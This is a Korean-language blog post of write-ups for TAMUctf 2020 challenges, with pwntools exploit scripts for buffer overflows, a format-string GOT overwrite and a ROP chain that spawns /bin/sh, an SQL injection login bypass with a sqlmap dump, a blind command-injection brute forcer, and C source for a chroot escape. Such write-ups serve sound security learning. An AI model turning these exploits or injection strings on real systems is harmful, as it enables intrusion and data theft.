본문으로 바로가기

TAMUctf 2020

category CTF/CTF Playground 2020. 3. 30. 10:34

PWN :: BBPWN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'4252)
else :
    p = process('./bbpwn')


def exploit() :
    payload = b'A'*0x20
    payload += p32(0x1337BEEF)

    p.writeline(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: gigem{0per4tion_skuld_74757474757275}

 

PWN :: ECHO_AS_A_SERVICE

플래그가 스택에 올라가 있기 때문에 %p로 몇 번 읽어서 합하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from binascii import unhexlify
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'4251)
else :
    p = process('./echoasaservice')


def exploit() :
    p.writelineafter(b'(EaaS)\n'b'%8$p %9$p %10$p')
    flag = b''.join([p64(int(f[2:].rstrip(), 16)) for f in p.readline().split(b' ')])
    print('[Exploit] Flag: '+flag.decode())


if __name__ == '__main__' :
    exploit()

 

Flag: gigem{3asy_f0rmat_vuln1}

 

PWN :: TROLL

BOF로 seed값을 overwrite 할 수 있다. C로 RNG를 만들어서 랜덤 숫자를 출력해주는 간단한 엔진을 만들고 seed값을 동일하게 조절한 뒤 1~100000 범위 이내로 값을 정규화시켜서 100번 보내면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main(int argcchar **argvchar **envp) {
    if (argc < 3) {
        printf("Usage: %s [seed] [samples]\n"argv[0]);
        return 0;
    }

    uint64_t seed = atoll(argv[1]);
    int samples = atoi(argv[2]);

    srand(seed);

    for (int i=0 ; i<samples ; i++) {
        int r = rand();
        printf("%d\n"r);
    }

    return 0;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'4765)
else :
    p = process('./troll')


def exploit() :
    seed = 98765
    samples = 100
    rng = process(['./rand_generator'str(seed), str(samples)])
    rns = []

    for i in range(samples) :
        rns.append(int(rng.readline().rstrip()))

    rng.close()

    payload = b'A'*0x40
    payload += p64(seed)

    p.writeline(payload)

    for r in rns :
        p.writeline(str(r%100000+1))

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}

 

PWN :: B64DECODER

처음에 a64l 주소를 알려줘서 libc leak을 따로 할 필요가 없고, PIE가 아니기 때문에 putchar의 GOT에 매직 가젯의 주소를 overwrite하면 된다. 이름을 printf에 그대로 인자로 넘기는 부분에서 FSB가 발생하는데, 31바이트까지만 입력을 받을 수 있고, 일반적인 FSB payload를 짜면 30~33바이트 사이의 문자열이 나오기 때문에 31바이트 이하의 payload를 보내야 문자열이 완전하게 보존된다.

magic gadget은 0x3EAF3에 있는 것을 사용했다. ([esp+0x40]==NULL) 그 이전의 3개의 가젯은 조건이 안 맞아서 실패한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'2783)
else :
    p = process('./b64decoder')


def _print_stderr(*args, **kwargs) :
    __builtins__.print(*args, file=sys.stderr, **kwargs)

print = _print_stderr

def exploit() :
    putchar_got = 0x804B3C0

    p.readuntil(b'(0x')
    a64l_resolved = int(p.readuntil(b')')[:-1], 16)
    libc_base = a64l_resolved - 0x3F290
    magic_gadget = libc_base + 0x3EAF3

    print('[Exploit] a64l = '+hex(a64l_resolved))
    print('[Exploit] libc base: '+hex(libc_base))
    print('[Exploit] magic gadget: '+hex(magic_gadget))

    magic_gadget_high = (magic_gadget >> 16) & 0xFFFF
    magic_gadget_low = magic_gadget & 0xFFFF

    payload = p32(putchar_got)
    payload += p32(putchar_got+2)
    payload += '%{0}c%71$n'.format(magic_gadget_low-8).encode()
    payload += '%{0}c%72$n'.format((magic_gadget_high-magic_gadget_low)%0x10000).encode()

    if len(payload) >= 32 :
        print("[Info] payload length is above 31, can't proceed. Aborting.")
        exit()

    p.writeline(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: gigem{b1n5h_1n_b45364?}

 

PWN :: GUNZIP_AS_A_SERVICE

child 프로세스는 gunzip을 수행하고, parent는 입력을 받고 child에 데이터를 pipe로 넘겨준 뒤 결과를 받아 보여준다. 이 때 child에서 압축 해제 결과를 받는 함수 gets_fd에서 gets를 사용하기 때문에 BOF가 발생한다.

압축 후의 데이터 크기가 0x200 이하여도 압축 후에는 0x200을 넘기 때문에 발생하는 취약점이다.

 

void __cdecl gets_fd(char *s, int fd)
{
  int copy_stdin; // ST1C_4
  
  copy_stdin = dup(0);
  dup2(fd, 0);
  gets(s);
  dup2(copy_stdin, 0);
}

 

처음에는 libc leak으로 magic gadget을 실행시키는 방법을 시도했으나 libc를 못 찾아서 실패했다.

좀 둘러보다가 execl으로 쉘을 실행할 수 있다는 걸 파악해서, execl을 실행시키는 exploit 코드를 짜고 플래그를 땄다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from time import sleep
import argparse
import gzip

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'4709)
else :
    p = process('./gunzipasaservice')


def exploit() :
    execl_plt = 0x80490B0
    pop_3_ret = 0x8049479

    payload = b'\x00'*0x418
    payload += p32(execl_plt)
    payload += p32(pop_3_ret)   # not needed
    payload += p32(0x804A00E)   # /bin/sh
    payload += p32(0x804A00B)   # sh
    payload += p32(0)

    payload_comp = gzip.compress(payload)
    p.write(payload_comp)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: gigem{r0p_71m3}

 

PWN :: GETTING_CONFUSED

트릭 문제다. (나름 신선하다) 설명을 위해 두 번째 질문 이후의 C 코드를 여기에 써 보면..

 

  LODWORD(answer[0]) = 'oohw';                  // strcpy(answer, "whoop\n");
  WORD2(answer[0]) = '\np';
  BYTE6(answer[0]) = 0;
  
  buf = malloc(0x40uLL);                        // void *buf = malloc(0x40);
  input[0] = (__int64)buf;                      // input[0] = buf;
  v4 = answer[1];
  *buf = answer[0];                             // buf[0] = answer[0];
  buf[1] = v4;                                  // buf[1] = answer[1];
  v5 = answer[3];
  buf[2] = answer[2];                           // buf[2] = answer[2];
  buf[3] = v5;                                  // buf[3] = answer[3];
  v6 = answer[5];
  buf[4] = answer[4];                           // buf[4] = answer[4];
  buf[5] = v6;                                  // buf[5] = answer[5];
  v7 = answer[7];
  buf[6] = answer[6];                           // buf[6] = answer[6];
  buf[7] = v7;                                  // buf[7] = answer[7];
  
  puts("What's our secret way of knowing when another one of us is in a crowd?");
  fgets((char *)input, 64, (FILE *)&dword_0);   // fgets(input[0], 64, stdin);
  
  if ( strcmp((const char *)input[0], (const char *)answer) )
  {
    puts("Begone, 2%er!");
    exit(1);
  }
  
  stream = fopen("flag.txt""r");
  fgets((char *)input, 64, stream);
  puts((const char *)input);
  fclose(stream);

 

주석은 가독성을 위해 옆에 정리한 코드다.

answer에 문자열 whoop\n 을 쓰고, input에 buf의 주소를 넣은 뒤 answer의 64바이트를 buf의 64바이트로 옮긴다.

만약 fgets에서 입력을 받지 않는다면 input[0]과 answer가 가리키는 문자열은 같겠지만, fgets를 지나면서 input[0]에 유저가 입력한 값이 씌워지면서 Segmentation Fault가 발생한다. 따라서 input에는 아무것도 보내주지 않아야 한다. 이럴 때 사용할 수 있는 문자는 \x04, EOT (End of Transmission) 이다. \x04 1바이트를 보내주면 strcmp를 통과하고 플래그를 얻을 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('challenges.tamuctf.com'4352)
else :
    p = process('./getting-confused')


def exploit() :
    payload = b'howdy\n'
    p.write(payload)
    
    payload = b"gig 'em\n"
    p.write(payload)

    p.writeafter(b'crowd?'b'\x04')

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

이게 가능한 이유는 아마 _start_c 때문인 듯 한데, 분석하기 귀찮아서 그냥 넘어갔다.

 

Flag: gigem{fg3ts_g3t5_c0nfu5ed_2}

 

REVERSING :: VAULT

call deobfuscate; 에 bp 걸고 리턴값 확인하면 된다.

 

Flag: gigem{p455w0rd_1n_m3m0ry1}

 

REVERSING :: RUSTY_AT_REVERSING

라이브러리에 get_flag 함수가 있다. 그냥 가져다 쓰면 된다.

컴파일 cmdline: gcc solve.c -o solve -l:librusty_at_reversing.so

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>

extern void get_flag(char *flag);

int main() {
    char flag[0x60];

    memset(flag00x60);
    get_flag(flag);
    puts(flag);

    return 0;
}

 

Flag: gigem{mr_stark_i_feel_rusty}

 

REVERSING :: ANGRMANAGEMENT

angr로 입력값 구하고 서버에 보내주면 플래그를 준다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import angr
import claripy
import monkeyhex

p = angr.Project('./angrmanagement'main_opts={'base_addr':0x400000})

b = [claripy.BVS('%d'%_, 8for _ in range(32)]
b.append(claripy.BVV('\n'8))
inp = claripy.Concat(*b)

state = p.factory.full_init_state(args=['./angrmanagement'], stdin=inp, add_options=angr.options.unicorn)
state.options.add(angr.options.FAST_MEMORY)
state.options.add(angr.options.FAST_REGISTERS)

for bv in b[:-1] :
    state.solver.add(bv >= 32)
    state.solver.add(bv <= 126)

simgr = p.factory.simgr(state)
simgr.explore(find=0x402360)

for s in simgr.found :
    print(s.posix.dumps(0))

 

여기서 구한 비밀번호는 x#P(YGomT[$D5^;R0hcAW?{([.cg?A:j 이다.

 

Flag: gigem{4n63r_m4n463m3n7}

 

REVERSING :: ABOUT_TIME

그냥 역연산 하는 코드 짜면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def decrypt1(skey) :
    r = list(s)

    for i in range(0len(r), 3) :
        c = ord(r[i])
        if 97 <= c <= 122 : r[i] = chr((c-97-key-13)%26+97)
        elif 65 <= c <= 90 : r[i] = chr((c-65-key-13)%26+65)

    return ''.join(r)

def decrypt2(skey) :
    return s[-key:]+s[:-key]

def decrypt3(skey) :
    r = list(s)

    for i in range(len(r)) :
        c = ord(r[i])
        if 48+key <= c <= 57+key : r[i] = chr(c-key)

    return ''.join(r)


if __name__ == '__main__' :
    passwd = 'n>iGet7geNaw;>CB8tmAbIu'
    decrypt = [decrypt1, decrypt2, decrypt3]
    minute = 23
    key = minute%6+2

    passwd = decrypt[(key+2)%3](passwd, key)
    passwd = decrypt[(key+1)%3](passwd, key)
    passwd = decrypt[key%3](passwd, key)

    print(passwd)

 

Flag: gigem{1tsAbOut7iMet0geTaw47CH}

 

WEB :: CREDITS

Generate 버튼을 누르면 /newcredits에 increment=1로 POST request를 보낸다. 콘솔에서 똑같이 increment=2000000000으로 /newcredits에 요청을 보내면 크레딧이 20억이 되고 플래그를 살 수 있다.

 

Flag: gigem{serverside_53rv3r5163_SerVeRSide}

 

WEB :: TOO_MANY_CREDITS_1

counter라는 쿠키가 설정된다. 아무 값이나 넣어서 보내주면 GZIP format이 아니라고 오류를 띄운다.

gunzip으로 확인해 보면 마지막 4바이트에 big endian 형식으로 크레딧 값을 저장하고 있다. 대략 0x7FFF0000 정도로 바꿔서 gzip 한 뒤 base64로 인코딩한 값을 쿠키로 설정해 주면 크레딧 값을 0x7FFF0000으로 바꿀 수 있다.

 

Flag: gigem{l0rdy_th15_1s_mAny_cr3d1ts}

 

WEB :: PASSWORD_EXTRACTION

아이디로 admin, 비밀번호로 admin'OR'1'='1 을 보내보니 성공적으로 authorize 됐다고 한다. SQL Injection이 통하는 걸 알았으니 sqlmap으로 DB 덤프하면 된다.

 

available databases [5]:
[*] db
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Database: db
[1 table]
+----------+
| accounts |
+----------+

Database: db
Table: accounts
[1 entry]
+----------------------------+----------+
| password                   | username |
+----------------------------+----------+
| gigem{h0peYouScr1ptedTh1s} | admin    |
+----------------------------+----------+

 

Flag: gigem{h0peYouScr1ptedTh1s}

 

NETWORK_PENTEST :: LISTEN

OpenVPN config 설정하고 패킷을 받아서 플래그 보면 되지만.. Wireshark로 tap device가 인식이 안 돼서 하루종일 삽질하다가 SmartSniff로 봤더니 잘 보인다.

 

Flag: gigem{Raunch05_got_el3ctr0lytes}

 

 

MISC :: ALCAPONE

/RECYCLER 에서 INFO2 파일을 보면 C:\Documents and Settings\Administrator\Desktop 에 있는 flagN.txt 파일들이 지워진 흔적을 볼 수 있다. 해당 디렉토리로 가서 40개 텍스트 파일을 전부 추출한 뒤 for문으로 gigem{ 을 grep하면 flag18.txt에서 플래그를 찾을 수 있다.

 

Flag: gigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}

 

MISC :: INSTAGRAM

APP0 marker에서 JFIF 4글자를 원래 있어야 할 곳에 삽입해 주면 정상적인 이미지를 얻을 수 있다.

 

 

Flag: gigem{cH4nG3_the_f0rMaTxD}

 

MISC :: CORRUPTED_DISK

binwalk 쓰고 PNG 추출해서 플래그 뽑았다. 0x16AB0에 PNG 이미지가 있으니 0x16AB0 부터 0x42AB0 까지의 범위를 잘라내면 된다.

 

 

Flag: gigem{wh3r3_w3r3_601n6_w3_d0n7_n33d_h34d3r5}

 

MISC :: WOOF_WOOF

Comment marker에 woof, bark, ruff로 이루어진 문자열이 있다. woof는 - (dash), bark는 . (dot), ruff는 delimeter로 복호화하면 플래그를 얻을 수 있다.

 

Flag: GIGEM-D0GT@ST1CJ0B-

 

MISC :: BLIND

쉘 위에서 true/false 리턴값을 사용한 brute force 로 풀었다. 근데 플래그를 보니 왠지 reverse shell을 따는 게 목적이었던 것 같은데, 리눅스가 VM에서 돌아가는 것 때문인지는 모르겠지만 잘 안 돼서 이 풀이는 보류..

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = connect('challenges.tamuctf.com'3424)


def check(string) :
    p.writelineafter(': ''cat flag.txt | grep "{0}"'.format(string))
    res = int(p.readline().rstrip())

    if res == 0 : return True
    else : return False


if __name__ == '__main__' :
    flag = 'gigem{'

    while True :
        found = False

        for c in r'_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' :
            if check(flag+c) :
                found = True
                flag += c
                print(flag)
                break

        if not found :
            if check(flag+'}') :
                flag += '}'
                break
            else :
                raise Exception

    print('Flag: {0}'.format(flag))

 

Flag: gigem{r3v3r53_5h3ll5}

 

MISC :: RSAPWN

FactorDB API로 슥삭하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from time import sleep
import json
import requests

p = connect('challenges.tamuctf.com'8573)


def factorize(n) :
    r = requests.get('http://factordb.com/api?query={0}'.format(n))
    data = json.loads(r.content.decode())

    return data['factors']


if __name__ == '__main__' :
    sleep(0.5) ; p.read() ; p.write('\n')

    N = int(p.readline().rstrip())
    primes = factorize(N)
    p1, p2 = primes[0][0], primes[1][0]
    print('N = {}'.format(N))
    print('factors: {} {}'.format(p1, p2))
    p.writeline('{} {}'.format(p1, p2))

    p.interactive()

 

Flag: gigem{g00d_job_yOu_h4aaxx0rrR}

 

MISC :: GEOGRAPHY

주어진 2개의 값을 32bit 부동 소수점으로 표현하면 각각 -70.249863과 -18.529234가 나온다. 위도 18.529234S, 경도 70.249863W 의 위치를 살펴보면 칠레의 Arica 지역에 CocaCola가 하늘에서 볼 수 있도록 크게(?) 그려져 있다. 플래그 형식에 맞춰 제출하면 끝.

 

Flag: gigem{CocaCola}

 

MISC :: NOT_SO_GREAT_ESCAPE

chroot escape, 아래의 자료들을 참고했다.

https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf

https://github.com/earthquake/chw00t/

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/stat.h>

#define MAX_DEPTH 5

uint32_t move_to_root() {
    for (int i=0 ; i<MAX_DEPTH ; i++) {
        if (chdir("..")) {
            return 1;
        }
    }

    return 0;
}

uint32_t escape(char *dir) {
    struct stat dirstat;

    if (stat(dir, &dirstat) == 0) {
        printf("[-] %s exists, please remove\n"dir);
        return 1;
    }

    printf("[+] creating directory %s\n"dir);

    if (mkdir(dir0700)) {
        printf("[-] failed to create directory %s\n"dir);
        return 2;
    }

    printf("[+] calling chroot(\"%s\")\n"dir);

    if (chroot(dir)) {
        printf("[-] chroot failed to %s\n"dir);
        return 3;
    }

    puts("[+] moving current directory to root");

    if (move_to_root()) {
        puts("[-] chdir failed");
        return 4;
    }

    puts("[+] calling chroot(\".\")");

    if (chroot(".")) {
        puts("[-] chroot failed to root");
        return 5;
    }

    puts("[+] spawning shell ...");

    system("/bin/sh");
    return 0;
}

int main() {
    escape("escape");
    return 0;
}

 

입력이 대략 1050 글자 쯤에서 잘리는 것 같아서, 바이너리를 BASE64로 인코딩한 문자열을 1000글자씩 끊어서 보낸 뒤에 서버에서 디코딩하고 실행했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from time import sleep

with open('ex_b64''r'as f :
    data = f.read()

if __name__ == '__main__' :
    p = connect('challenges.tamuctf.com'4353)
    p.writeline('2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e')

    sleep(1)

    p.writeline('touch ex_b64')
    size = len(data)

    for i in range(0, size, 1000) :
        p.writeline('echo "{}" >> ex_b64'.format(data[i:i+1000]))
        print('Writing {} ~ {} ...'.format(i, max(size-1, i+999)))

    p.interactive()

 

Flag: gigem{up_up_&_a_way_0u7}

 

'CTF > CTF Playground' 카테고리의 다른 글

IJCTF 2020  (0) 2020.04.27
Houseplant CTF  (0) 2020.04.27
Securinets Prequals 2K20  (0) 2020.03.23
riftCTF  (0) 2020.03.21
ångstromCTF 2020  (0) 2020.03.16